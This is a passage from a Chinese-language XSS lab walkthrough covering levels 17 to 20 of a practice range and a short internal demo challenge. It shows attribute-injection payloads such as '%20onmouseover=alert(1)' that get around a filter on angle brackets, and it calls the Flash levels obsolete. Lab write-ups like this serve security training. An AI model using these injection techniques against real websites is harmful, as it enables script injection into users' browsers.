进行测试,不能使用<或者>符号 image-20240127094223833 传入

onclick=alert(1)

进行测试,发现前面没有空格隔开不行 image-20240127094227216 传入

%20onclick=alert(1)

进行测试,但是无法点击触发 image-20240127094231343 修改为

%20onmouseover=alert(1)

鼠标滑过成功触发 image-20240127094237311

8.18 Level-18

和17关一样

%20onmouseover=alert(1)

image-20240127094240360

8.19 Level-19

flash漏洞,鉴于现在flash已经全面淘汰,此漏洞没有研究价值 下图是payload,但是浏览器已经无法加载flash了,所以没有触发,如果以后遇到有flash的页面的话,可以尝试去找找flash的通用漏洞。 image-20240127094246275

8.20 Level-20

同Level-19,漏洞已过时

9.XSS-demo挑战

内部靶场平台,开启胡务器实例

image-20260122211337470

完成通关挑战

image-20260122211407751

results matching ""

    No results matching ""